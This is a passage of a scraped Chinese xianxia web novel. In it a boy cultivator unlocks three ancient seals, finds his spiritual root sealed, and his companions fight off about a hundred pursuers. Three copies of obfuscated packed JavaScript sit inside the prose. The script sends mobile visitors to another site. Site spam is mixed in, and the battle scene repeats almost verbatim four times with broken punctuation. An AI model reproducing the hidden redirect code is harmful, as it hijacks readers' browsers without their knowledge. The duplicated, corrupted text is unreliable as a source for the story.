那姿势宛若巨龟负山,沉稳如山岳;又似玄蛇盘绕,灵动而诡谲,周身仿佛有星辰之力流转,蕴含着某种难以言喻的大道韵味。 “这……这是什么?”林思思美眸圆睁,满是愕然,“这动作,是人能做出来的吗?” 苏心瑶也蹙起秀眉:“难道是必须完美复刻这个姿势,才能解除禁制?这我可做不来。” 墨妍尝试着模仿其中一个起始动作,刚扭到一半就感觉筋骨剧痛,不得不放弃,摇头:“不行,这绝非蛮力可为。” 她看向铁峰,铁峰那雄壮的身躯更是连起步动作都难以摆出。 所有人的心都沉了下去。 萧星尘凝视着那姿势,眼中闪过一抹奇异的光彩,下意识地喃喃出声:“……九转星辰淬体术,第二重,星龟盘山式……” 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节) “尘哥,你说什么?”铁峰猛地看向他,满脸难以置信。 萧星尘 抬起头眼神清澈而坚定:“这个动作我能做。这是我师尊给我的体术**中的第二重的最后一个动作也是最难的一式我前些日方才熟练掌握其形。” 嘶—— 众人闻言都一脸的不敢置信。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453385|185272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 刚才就是他靠灵根开启了第一道禁制如今这第二道诡异至极的禁制竟然又恰好是他独门**中的一式? 这已经不是巧合能形容的了! 墨妍眼中精光爆闪一个惊人的念头在她心中疯狂滋生。 来不及细想身后通道入口处已经传来了剧烈的灵力波动和喧嚣声外面的土灵根修士已经打开了第一重禁制追兵正蜂拥而入。 “快!尘哥!”墨妍急声道。 萧星尘不再多言深吸一口气体内气血如同沉眠的火山轰然爆发。 星辰之力涌向四肢百骸。 他的身体开始以一种令人惊恐的幅度扭曲、折叠、发力每一个关节仿佛都违背了常理肌肤之下隐隐有星辰光点亮起。 短短一息之间在众人惊骇的目光注视下他稳稳地摆出了那个与光影图谱分毫不差的——巨龟负山、玄蛇盘绕的“星龟盘山式”。 在他姿势成型的刹那第二重禁制上的光影图谱骤然爆发出璀璨星光与他周身流转的星辰之力产生了强烈的共鸣。 嗡—— 禁制无声无息地消散瓦解。 “开了!真的开了!”铁峰狂喜 苏心瑶和林思思更是掩住了嘴眼中充满了不可思议。 鹿闻声、郁仙、江迷雾和苏渺渺也面露惊容。 “走!”墨妍强压下心中的惊涛骇浪厉声喝道。 就在大家进入第二道禁制的时候追兵之中的土灵根也成功令第一道禁制打开他们疯狂向着萧星尘等人冲过来却被重新闭合的第二道禁制阻拦。 大家仅仅前行了十余丈第三重也是最后一道禁制拦在了前方。 这是一面光滑如镜的黑色石壁石壁中央刻着一个深邃无比、仿佛能吞噬一切光线的掌印。 掌印周围环绕着九颗模糊的星辰刻痕其中七颗黯淡无光唯有两颗散发着极其微弱的星辉。 一股比前两 重禁制更加古老、更加沉重的威压弥漫开来,让所有人的呼吸都为之一窒。 “这……这又是什么?”铁峰尝试用神识探查,却被那掌印无情弹回。 “试试输入灵力。”苏心瑶建议道。 墨妍、铁峰、林思思等人纷纷尝试将手按在掌印上,疯狂注入灵力,但那黑色石壁如同无底深渊,吞噬了所有灵力,毫无反应。 似乎是下意识,所有人都看向了萧星尘。 萧星尘看着那掌印,尤其是那两颗散发着微光的星辰,体内《九转星辰淬体术》的力量不受控制地奔腾起来。 他福至心灵,走上前去,沉声道:“让我试试。” 在所有人紧张的目光注视下,他缓缓将自己蕴含着磅礴星辰之力的手掌,嵌入了那个深邃的掌印之中。 严丝合缝! 仿佛这个掌印,本就是为他量身定制! 下一刻,异变陡生。 萧星尘体内修炼出的星辰之力,毫无保留地倾泻而出,注入石壁。 石壁上那两颗原本微亮的星辰刻痕骤然光芒大放。 紧接着,第三颗、第四颗……他体内气血轰鸣,星辰之力以前所未有的速度运转,竟在极限压力下牵引着更多的星辰刻痕接连亮起。 第五颗! 第六颗! 第七颗! 第八颗! 第九颗! 当第九颗星辰亮起的瞬间,黑色石壁剧烈震动,发出沉闷的轰鸣。 嗡—— 整面黑色石壁从中轰然洞开,露出一个仅容一人通过的入口,里面是一片未知的、散发着苍茫大地气息的空间。 第133章 被封印的灵根上,有九颗奇异的星辰 “走!” 萧星尘率先进入,其他人紧随其后。 墨妍看着那彻底闭合的石门,又看向萧星尘,她的声音带着难以置信和一种几乎确定的推测: “灵根、独门体术、还有这需要极致星辰之力才能开启的掌印……一环扣一环,……这个地方,根本就不是什么无主的遗迹……” 她环视众人,一字一句地说道:“我猜测,它就像一把沉寂了万年的锁,而尘哥,就是唯一能打开这把锁的……那把钥匙。它一直在等的,就是你。” 墨妍的话语带着一种近乎宿命的沉重感,在狭窄的通道内炸响,让人心神激荡。 所有人的目光,瞬间聚焦在萧星尘身上。 那目光中充满了难以置信的震惊和深深的困惑。 是啊,这世上哪有如此巧合之事? 三重禁制,一环扣一环,精准得可怕。 这与其说是考验,不如说是一场等待了万年的、针对特定继承者的验证。 萧星尘站在原地,小小的身躯挺得笔直。 他低头看着自己的手,掌心似乎还残留着那冰冷厚重的触感和星辰之力奔涌的余韵。 他那张总是过于冷静、甚至有些漠然的小脸上,罕见地出现了剧烈的情绪波动。 深邃的眼眸中,先是闪过一丝茫然,随即被巨大的困惑所占据,最后,一种难以形容的、仿佛源自灵魂深处的悸动缓缓浮现。 仿佛有什么东西正在苏醒,与这片古老的空间产生着微弱的共鸣。 一种陌生而又无比熟悉的苍茫感包裹着他,让他既感到一丝不安,又有一股莫名的……亲近。 铁峰憨厚的脸上写满了崇拜:“尘、尘哥……这地方……真是为你准备的?你……你到底是什么来头啊?” 鹿闻声体内的炎老也陷入了沉默,似乎也在疯狂搜索着记忆,试图解释这不可思议的巧合。 郁仙的瞳孔中流光闪烁,枯荣之力让她对“因果”和“宿命”有着模糊的感知,可因为年龄太小,那种感觉也让她说不清道不明。 但隐隐的,这里给她的感觉,与幽影森林那处明月仙府很像。 苏渺渺下意识地靠近江迷雾,小手抓住了他的衣角,大眼睛里充满了好奇。 江 迷雾握紧了手中的夙兴剑他能感受到神剑传来的一丝微弱悸动那并非敌意更像是一种……古老的共鸣? 成为全场焦点的萧星尘眉头紧锁清秀的小脸上满是困惑与沉思。 “我……不知道。” 墨妍看着萧星尘的脸庞语气坚定:“无论此地与尘哥有什么关系眼下这里是我们唯一的生路。纠结缘由无益探索清楚或许答案自在其间。” 她的冷静瞬间感染了众人。 是啊无论多么离奇他们确实进来了并且暂时安全了。 纠结于无法解释的谜团毫无意义活下去 铁峰第一个响应“管他呢!反正这地方认尘哥说不定里面有尘哥的大机缘呢我们往里走总比被外面那群混蛋**强!” 墨妍的目光精明干练:“没错此地诡异但也可能是我们最大的转机。务必小心仔细探查。” 好奇心和求生欲最终压倒了不安。 众人收拾心情带着警惕与期待以及一丝对未知命运的敬畏向着那片苍茫之气传来的方向小心翼翼地步入了黑暗的甬道深处。 不消片刻他们踏入了一个与外界阴森黑雾截然不同的空间。 这里并非想象中仙气缭绕、富丽堂皇的仙家洞府而是一片巨大无比的天然洞窟。 四处可见断壁残垣巨大的石柱坍塌碎裂地面上布满了深刻的爪痕和能量冲击留下的焦黑印记无声地诉说着上古时期曾在此地发生的惨烈战斗充满了古老、破败与苍凉的气息。 然而此地却弥漫着一股极其奇异而强大的力量。 一种厚重、沉凝、仿佛承载着大地的苍茫与力量的意蕴充斥着每一寸空间让所有人的呼吸都为之一窒仿佛身上压了一座无形的大山。 萧星尘长期穿戴着五倍重力的法衣早已习惯了压力。 只是自从探入这里他那沉寂已久的土灵根如同苏醒的活物般疯狂躁动起来。 只有炼气三层的他是做不到神识内视的。 但在此地那股苍茫意蕴的奇异牵引下他的心神竟不由自主地沉入丹田——下一瞬他‘看’到了! 诡异的是他的灵根居然被鲜红的如同锁链一样的东 西,层层封印住。 见状,萧星尘愣住了。 他也终于明白了,为什么无论自己怎么修炼,这些年他的修为一直卡在炼气三层再无寸进。 原来,并不是他是个悟性极差的废物,而是,他的灵根不知道出于什么原因被封印了。 他突然就想起了那个夜晚,师尊主动来到他房间,与他长谈的画面。 那时,师尊用神识仔细检查过他的灵根。 当时,师尊只说他会厚积薄发,还保证会在灵墟秘境给他寻找合适的**。 却丝毫没有向他透露灵根被封印这件事。 他不相信以师尊的修为察觉不到他的灵根被封印了。 师尊之所以没有告诉他,只有一种可能,那就是担心他自暴自弃。 为了让他快速成长起来,师尊还冒险去灵墟秘境,差点被楚凌风杀死。 一股暖流与后怕交织的情绪猛地冲上心头,鼻腔微微发酸。 原来师尊默默为他承担了这么多……那份深沉的呵护,此刻如暖阳般驱散了他因封印而产生的一丝阴霾,只剩下无比的坚定:绝不能辜负师尊的期望! 不过,最让他震惊的还不是灵根被封印,而是在那封印的灵根之上,竟然浮现出九颗星辰光点。 其中两颗明亮耀眼,而另外七颗,则黯淡无光。 这光点到底是什么? 他想不通。 可也不等他想通,在洞窟里沉凝如大地般的意蕴的强烈召唤下,第三颗星辰光点正隐隐散发出微弱的光芒。 他心中有个声音,立刻练《九转星辰淬体术》第三重。 只要熟练掌握第三重的九个动作,第三个星辰光点一定会如同前两个一般耀眼。 似乎,他灵根上的九颗星辰就是对应着《九转星辰淬体术》的每一重。 到底为什么会这样? 这一切难道只是巧合? 不对! 世界上没有这么巧合的事。 难道真如墨妍说的那般,这里与他有着某种不为人知的渊源? 不等他细想,墨妍的声音骤然响起。 “大家运转**,抵抗这股压力,这是淬炼的绝佳机会。” 众人立刻盘膝坐下,咬牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453386|185272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运转**抵抗。 在强大的压力下,众人只觉得**运转起来无比滞涩。 但,扛着这股压力将**运转一周天后,他们就发现,在强大的压力下修炼,修为会变得更为扎实。 这一发现,让他们瞬间静下心来,不一会儿就入定了。 萧星尘见状,也开始修炼体术的第三重。 果然不出他所料,当他开始做第三重的第一个动作时,灵根上的第三个星辰亮度再次提升了一些。 也不知道为什么,在这个地方做淬体术,比以往都要顺畅许多。 就好像有一只无形的大手在推着他前进。 耳边也好像有个声音在说:快一点,再快一点。 时间在修炼中不知不觉的流逝。 萧星尘刚结束修炼,整个洞窟突然剧烈地震动起来。 轰隆隆!!! 头顶上方传来岩石碎裂声,大大小小的碎石开始簌簌落下,烟尘弥漫,几乎让人窒息。 “不好,外面那些人在强行破山。”墨妍脸色一变,瞬间判断出情势。 铁峰骇然道,“他们无法破除禁制,竟想直接将这整片区域轰塌。” “这里不能待了,再待下去我们会被活埋。”墨妍当机立断,“走!出去!” 继续留在这里只有死路一条。 众人毫不犹豫,立刻向着来时的甬道冲去。 他们险之又险地从即将被彻底封死的甬道中冲出,映入眼帘的景象令人窒息—— 黑压压的人群将他们彻底包围。 赤炎宗修士、眼神贪婪的散修和佣兵,足有近百人。 为首的,是一名手持一截奇异树枝的赤炎宗修士。 他手里的树枝散发着淡淡的荧光,枝头仿佛永远指向一个方向。 “是迷毂树枝。”墨妍瞳孔一缩,“怪不得他们能精准找到我们,还能死死咬住不放,此物能指引方向,破除迷障,使佩戴者永不迷路。” 此刻,那修士也看到了从烟尘中冲出的萧星尘等人,脸上顿时露出狰狞而残忍的笑容:“终于肯出来了?还以为你们要躲到山崩地裂呢!” 苏心瑶强压下心中的恐惧,上前一步,朗声道:“我乃天元宗宗主之女苏心瑶,尔等今日若敢伤我等分毫,便是与我整个天元宗为 敌我父亲绝不会放过你们!” 那金丹修士闻言阴恻恻地笑道:“天元宗大小姐?哼 他话锋一转“不过此事与天元宗无关只要你现在离开将那五个小崽子交出来我赤炎宗可以当作从未见过你如何?” “呸!”林思思柳眉倒竖厉声呵斥“妄想!他们是我天元宗要护的人想动他们先从我尸体上踏过去!” “冥顽不灵!”金丹修士彻底失去耐心脸上狞色一闪“既然你们自己找死那就别怪我心狠手辣了给我上抓住那几个小崽子赏十万灵石!” 瞬间杀声震天。 近百名散修和佣兵如同潮水般涌来各种法术、法宝的光芒瞬间照亮了昏暗的山谷狂暴的灵力波动席卷四方。 面对如此绝境萧星尘眼中却燃烧起疯狂的战意他猛地看向伙伴们嘶声吼道:“还记得我们在幽影森林那场团队战斗吗?” “记得!”众人齐声怒吼眼神无比坚定没有丝毫退缩。 “好!那就让他们看看招惹我们的下场!” 第134章 以九人之力,硬抗百人攻击 霎时间,杀声震天。 近百名修士,从四面八方汹涌扑来,瞬间将萧星尘九人团团围困。 各色法术光华如同暴雨倾泻而下,剑气、火球、水箭……似乎是要将他们彻底抹杀。 巨大的人数差距,让他们陷入了绝境。 面对危机,墨妍丰富的散修经验在此刻发挥了决定性作用。 她在危急关头,临危不乱的发号施令,喊声竟硬生生压过了震天的喧嚣。 “阵型!九宫守元!依阵而行! 众人心领神会,身形急速闪动,以八卦方位站定,最小的苏渺渺则被牢牢护在正中心的“中宫 “阿峰,艮位,顶住! “交给我!铁峰狂吼一声,古铜色皮肤下的青筋如虬龙般根根凸起。 他一步踏前,巨大的身躯如山岳般稳稳占据“艮位,手中重斧猛地顿向大地—— 轰! 一股肉眼可见的土黄色冲击波悍然扩散,冲在最前方的七八名敌人顿时如撞上一堵无形巨墙,人仰马翻,攻势为之一滞。 就在这短暂的混乱中—— 墨妍的身影如同鬼魅,下一瞬出现在散乱敌群的侧翼。 手中短刃寒光闪过,三名敌人的喉管在眨眼间被精准割开,鲜血喷溅,他们捂着脖子愕然倒地。 她一击即退,毫不停留。 然而,就在她即将退回本阵的刹那,一道凌厉无匹的可怕剑气,直奔她的后心而来。 剑气未至,那森然的杀意已刺得她背心发凉。 墨妍瞳孔骤缩。 以她的身法,是能够轻易避开的。 但她若躲开,这道恐怖的剑气将会毫无阻碍地轰入自家阵营中,那么受伤的便是孩子们。 电光火石之间,她没有丝毫犹豫。 立刻做出决定——绝不能躲! 墨妍猛地拧转身形,眼中闪过决绝。 体内金丹初期的灵力毫无保留地灌注于短刃之上,格挡于身前,竟是选择以攻代守,硬撼这道远超她境界的必杀剑气。 铛——!!! 刺耳的金铁交鸣爆响。 墨妍只觉得一股无法抗拒的巨力如同山洪海啸般从短刃上传来。 她的虎口瞬间崩 裂鲜血淋漓。 她闷哼一声嘴角无法抑制地溢出一缕鲜血身体在这庞大的力量冲击下不受控制地向后倒滑双脚在地面犁出两道深深的痕迹。 那剑气死死压着她的短刃要将她连同身后的孩子们一并撕碎。 就在她双臂剧痛欲裂几乎要支撑不住的刹那—— 一只沉稳有力的手猛地抵在了她的后心之上。 下一刻一股精纯、磅礴、带着星辰般浩渺气息的力量瞬间涌入她的身体与她的力量合二为一共同对抗那可怕的剑气。 轰! 致命的剑气被生生震散。 墨妍压力一轻踉跄一步被人从身后稳稳扶住。 她急促喘息着回头对上了一双深邃而坚韧的眸子正是萧星尘。 “墨妍姐姐你没事吧?”萧星尘的声音依旧冷静但关切之情溢于言表。 墨妍心中一暖压下翻涌的气血扯出一个染血的明媚笑容:“多谢尘哥我没事!” “没事就好。”萧星尘点头目光再次锐利地投向战场。 “渺渺控场!”萧星尘厉声喝道。 苏渺渺看到墨妍受伤小脸急得通红 言灵之力以前所未有的强度爆发:“此地灵力滞涩!敌者步履维艰!” 无形的力量以她为中心扩散冲来的敌人顿时感觉体内灵力运转变得晦涩凝滞身形沉重如同陷入泥沼施法频频失败中断攻势不由得一缓。 大家见状立刻抓住这转瞬即逝的机会。 苏心瑶娇叱一声霓霞绫化作漫天虹光砸向敌群;林思思玉手轻拂狂暴的龙卷风已将数名修士卷得东倒西歪鲜血淋漓。 郁仙早已释放出枯荣之力此刻的她银发银瞳无数墨绿藤蔓瞬间破土而出疯狂缠绕抽打。 与此同时炎老的指示在鹿闻声脑中急响一道道刁钻的火箭精准射出。 江迷雾身如游龙凝霜剑每次闪动必带起一蓬血花。 而萧星尘无疑是全场最忙碌的核心…… 自从领悟了第三重的九个动作他就多了一向技能——星辰战体。 星辰战体一旦开启他将会处于狂战模式 身体强度大幅度增加,气血奔涌如龙,星辉隐隐透体而出。 只见他时而如闪电般冲到铁峰身边,一记重拳将一名试图偷袭铁峰侧翼的彪悍体修轰得胸骨塌陷,吐血倒飞;时而瞬步至郁仙身前,用自己并不宽阔的后背为她挡下一支阴险刁钻的冷箭;他更是全局的指挥塔,声音冷静而迅疾,清晰地传入每个同伴耳中: “思思姐姐,左移三丈,护住渺渺!” “墨妍姐姐,右前方那个持弓的,优先解决!” “铁子,向前推进三步,给他们压力!” 九个人,如同一个精密而狂暴的战争机器,各司其职,配合无间。 竟以区区九人之力,硬生生顶住了近百敌人的疯狂**,甚至隐隐有反压之势。 这场面热血沸腾,令人震撼。 然而,敌人终究太多了。 持续的高强度战斗,消耗是惊人的。 苏渺渺不断透支言灵之力,小脸已惨白如纸,嘴角不受控制地渗出殷红血丝,娇小的身体摇摇欲坠,却仍死死咬着牙关强撑。 突然! “砰!”一声令人心悸的闷响。 一名赤炎宗金丹修士觑准苏渺渺无法移动的破绽,一柄沉重的黑铁巨锤裹挟着万钧之力,狠狠砸向她的后心。 “渺渺!”铁峰目眦欲裂,想也不想,庞大的身躯猛地一旋,用自己宽阔的后背悍然挡在了苏渺渺与巨锤之间。 “咔嚓——” 骨裂声清晰可闻。 铁峰庞大的身躯猛地剧烈一晃,一口鲜血狂喷而出,他重重跪倒在地,巨斧脱手,眼前发黑,险些直接昏迷。 “铁峰哥哥!”苏渺渺惊骇失声,心神剧震之下,言灵反噬加剧,自己也猛地喷出一口鲜血。 铁峰艰难地抬起头,看到渺渺吐血,竟还努力扯出一个安抚的笑容,声音沙哑破碎:“渺渺……不怕……我……没事……” 看着铁峰重伤之下还安慰自己,苏渺渺的眼泪大滴大滴地滚落。 她抬起小手,狠狠抹去嘴角的血迹,眼中闪过前所未有的倔强与决绝。 她再次开启言灵,这一次,不仅仅是给敌人施加“迟缓”、“虚弱”,更是给所有队友加持“幸运”、“坚韧”、“灵巧”的祝福。 这样做,对她身体的负担呈几何级数增加。 刚擦去的血迹瞬间又从嘴角、鼻腔涌出,但她恍若未觉。 可即便如此,己方阵营的人也仅仅是维持了不足一组分钟的狂暴时间,随着战斗时间的推移,简直就是被对方压着打。 苏心瑶和林思思灵力彻底枯竭,脸色白得透明,身体摇摇欲坠,全靠意志支撑才没有倒下。 墨妍在刺杀一名法师时,被其临死前的自爆波及,左肩被炸得血肉模糊,脸色瞬间苍白。 江迷雾的虎口也在战斗中彻底崩裂,鲜血染红了剑柄,呼吸如同风箱般急促,显然也到了**之末。 就连鹿闻声,也因过度战斗,面色发虚,眼前阵阵发黑。 此刻,还能勉强站立并战力的,只剩下伤痕累累但战意不退的萧星尘,以及一直控场、消耗巨大的郁仙。 郁仙看着身边摇摇欲坠的伙伴,看着铁峰为了守护渺渺而塌陷的后背,看着渺渺为了大家七窍溢血却仍在坚持,看着每一个人都在崩溃的边缘挣扎. 一股难以言喻的悲愤与决绝,在她银色的瞳孔中燃烧。 她猛地双手高高举起,银发无风自动,璀璨的银瞳爆发出刺目的光芒。 她不再保留,将丹田内所有的枯荣之力,毫无保留地彻底释放出来。 “以我之魂,唤汝之灵!天地草木,奉我敕令!万灵寂灭——” 嗡—— 一股无形却浩瀚无比的波动,以她为中心,瞬间扩散至整个黑风山脉。 下一刻,令人震撼的一幕发生了。 无数或明亮或微弱、代表着草木生命本源的光点,如同受到召唤的萤火虫,从四面八方——从每一株树木、每一棵小草、甚至每一片苔藓中飘荡而出,百川归海般向着郁仙头顶汇聚。 一时间,漫天尽是飞舞的光点,绚丽而悲壮,甚至连浓郁的黑雾都被这浩瀚的生命之光驱散了几分。 “那……那是什么?” “到底发生了什么?” 正在进攻的赤炎宗修士、散修和佣兵们都被这前所未见的诡异景象惊呆了,攻势不由自主地停滞,满脸骇然与茫然地看着无数光点涌入山谷,在郁仙头顶疯狂凝聚。 光点越聚越多,最终,一个巨大无比、散发着令人心悸能量波动的翠绿色能量光球,如同小型太阳般悬浮于空,光芒照亮了每一张惊愕的脸。 “那……那到底是什么东西?” “好……好恐怖的能量!” 敌人阵营中发出阵阵惊恐的声音,从那光球中,他们感受到了毁灭的气息,只觉得头皮发麻,心惊肉跳。 “阻止她!”有人惊恐地大吼。 但已经晚了。 郁仙双手猛地向前一推,光球直奔敌方阵营而去。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 这样做对她身体的负担呈几何级数增加。 刚擦去的血迹瞬间又从嘴角、鼻腔涌出但她恍若未觉。 可即便如此己方阵营的人也仅仅是维持了不足一组分钟的狂暴时间随着战斗时间的推移简直就是被对方压着打。 苏心瑶和林思思灵力彻底枯竭脸色白得透明身体摇摇欲坠全靠意志支撑才没有倒下。 墨妍在刺杀一名法师时被其临死前的自爆波及左肩被炸得血肉模糊脸色瞬间苍白。 江迷雾的虎口也在战斗中彻底崩裂鲜血染红了剑柄呼吸如同风箱般急促显然也到了**之末。 就连鹿闻声也因过度战斗面色发虚眼前阵阵发黑。 此刻还能勉强站立并战力的只剩下伤痕累累但战意不退的萧星尘以及一直控场、消耗巨大的郁仙。 郁仙看着身边摇摇欲坠的伙伴看着铁峰为了守护渺渺而塌陷的后背看着渺渺为了大家七窍溢血却仍在坚持看着每一个人都在崩溃的边缘挣扎. 一股难以言喻的悲愤与决绝在她银色的瞳孔中燃烧。 她猛地双手高高举起银发无风自动璀璨的银瞳爆发出刺目的光芒。 她不再保留将丹田内所有的枯荣之力毫无保留地彻底释放出来。 “以我之魂唤汝之灵!天地草木奉我敕令!万灵寂灭——” 嗡—— 一股无形却浩瀚无比的波动以她为中心瞬间扩散至整个黑风山脉。 下一刻令人震撼的一幕发生了。 无数或明亮或微弱、代表着草木生命本源的光点如同受到召唤的萤火虫从四面八方——从每一株树木、每一棵小草、甚至每一片苔藓中飘荡而出百川归海般向着郁仙头顶汇聚。 一时间漫天尽是飞舞的光点 “那……那是什么?” “到底发生了什么?” 正在进攻的赤炎宗修士、散修和佣兵们都被这前所未见的诡异景象惊呆了攻势不由自主地停滞满脸骇然与茫然地看着无数光点涌入山谷在郁仙头顶疯狂凝聚。 光点越聚越多最终一个巨大无比、散发着令人心悸能量波动的翠绿色能量光球如同小型太阳般悬浮于空光芒照亮了每一张惊愕的脸。 “那……那到底是什么东西?” “好……好恐怖的能量!” 敌人阵营中发出阵阵惊恐的声音从那光球中他们感受到了毁灭的气息只觉得头皮发麻心惊肉跳。 “阻止她!”有人惊恐地大吼。 但已经晚了。 郁仙双手猛地向前一推光球直奔敌方阵营而去。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 这样做,对她身体的负担呈几何级数增加。 刚擦去的血迹瞬间又从嘴角、鼻腔涌出,但她恍若未觉。 可即便如此,己方阵营的人也仅仅是维持了不足一组分钟的狂暴时间,随着战斗时间的推移,简直就是被对方压着打。 苏心瑶和林思思灵力彻底枯竭,脸色白得透明,身体摇摇欲坠,全靠意志支撑才没有倒下。 墨妍在刺杀一名法师时,被其临死前的自爆波及,左肩被炸得血肉模糊,脸色瞬间苍白。 江迷雾的虎口也在战斗中彻底崩裂,鲜血染红了剑柄,呼吸如同风箱般急促,显然也到了**之末。 就连鹿闻声,也因过度战斗,面色发虚,眼前阵阵发黑。 此刻,还能勉强站立并战力的,只剩下伤痕累累但战意不退的萧星尘,以及一直控场、消耗巨大的郁仙。 郁仙看着身边摇摇欲坠的伙伴,看着铁峰为了守护渺渺而塌陷的后背,看着渺渺为了大家七窍溢血却仍在坚持,看着每一个人都在崩溃的边缘挣扎. 一股难以言喻的悲愤与决绝,在她银色的瞳孔中燃烧。 她猛地双手高高举起,银发无风自动,璀璨的银瞳爆发出刺目的光芒。 她不再保留,将丹田内所有的枯荣之力,毫无保留地彻底释放出来。 “以我之魂,唤汝之灵!天地草木,奉我敕令!万灵寂灭—— 嗡—— 一股无形却浩瀚无比的波动,以她为中心,瞬间扩散至整个黑风山脉。 下一刻,令人震撼的一幕发生了。 无数或明亮或微弱、代表着草木生命本源的光点,如同受到召唤的萤火虫,从四面八方——从每一株树木、每一棵小草、甚至每一片苔藓中飘荡而出,百川归海般向着郁仙头顶汇聚。 一时间,漫天尽是飞舞的光点,绚丽而悲壮,甚至连浓郁的黑雾都被这浩瀚的生命之光驱散了几分。 “那……那是什么? “到底发生了什么? 正在进攻的赤炎宗修士、散修和佣兵们都被这前所未见的诡异景象惊呆了,攻势不由自主地停滞,满脸骇然与茫然地看着无数光点涌入山谷,在郁仙头顶疯狂凝聚。 光点越聚越多,最终,一个巨大无比、散发着令人心悸能量波动的翠绿色能量光球,如同小型太阳般悬浮于空,光芒照亮了每一张惊愕的脸。 “那……那到底是什么东西? “好……好恐怖的能量! 敌人阵营中发出阵阵惊恐的声音,从那光球中,他们感受到了毁灭的气息,只觉得头皮发麻,心惊肉跳。 “阻止她!有人惊恐地大吼。 但已经晚了。 郁仙双手猛地向前一推,光球直奔敌方阵营而去。 你的朋友正在书荒,快去帮帮他吧 这样做,对她身体的负担呈几何级数增加。 刚擦去的血迹瞬间又从嘴角、鼻腔涌出,但她恍若未觉。 可即便如此,己方阵营的人也仅仅是维持了不足一组分钟的狂暴时间,随着战斗时间的推移,简直就是被对方压着打。 苏心瑶和林思思灵力彻底枯竭,脸色白得透明,身体摇摇欲坠,全靠意志支撑才没有倒下。 墨妍在刺杀一名法师时,被其临死前的自爆波及,左肩被炸得血肉模糊,脸色瞬间苍白。 江迷雾的虎口也在战斗中彻底崩裂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453387|185272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,鲜血染红了剑柄,呼吸如同风箱般急促,显然也到了**之末。 就连鹿闻声,也因过度战斗,面色发虚,眼前阵阵发黑。 此刻,还能勉强站立并战力的,只剩下伤痕累累但战意不退的萧星尘,以及一直控场、消耗巨大的郁仙。 郁仙看着身边摇摇欲坠的伙伴,看着铁峰为了守护渺渺而塌陷的后背,看着渺渺为了大家七窍溢血却仍在坚持,看着每一个人都在崩溃的边缘挣扎. 一股难以言喻的悲愤与决绝,在她银色的瞳孔中燃烧。 她猛地双手高高举起,银发无风自动,璀璨的银瞳爆发出刺目的光芒。 她不再保留,将丹田内所有的枯荣之力,毫无保留地彻底释放出来。 “以我之魂,唤汝之灵!天地草木,奉我敕令!万灵寂灭—— 嗡—— 一股无形却浩瀚无比的波动,以她为中心,瞬间扩散至整个黑风山脉。 下一刻,令人震撼的一幕发生了。 无数或明亮或微弱、代表着草木生命本源的光点,如同受到召唤的萤火虫,从四面八方——从每一株树木、每一棵小草、甚至每一片苔藓中飘荡而出,百川归海般向着郁仙头顶汇聚。 一时间,漫天尽是飞舞的光点,绚丽而悲壮,甚至连浓郁的黑雾都被这浩瀚的生命之光驱散了几分。 “那……那是什么? “到底发生了什么? 正在进攻的赤炎宗修士、散修和佣兵们都被这前所未见的诡异景象惊呆了,攻势不由自主地停滞,满脸骇然与茫然地看着无数光点涌入山谷,在郁仙头顶疯狂凝聚。 光点越聚越多,最终,一个巨大无比、散发着令人心悸能量波动的翠绿色能量光球,如同小型太阳般悬浮于空,光芒照亮了每一张惊愕的脸。 “那……那到底是什么东西? “好……好恐怖的能量! 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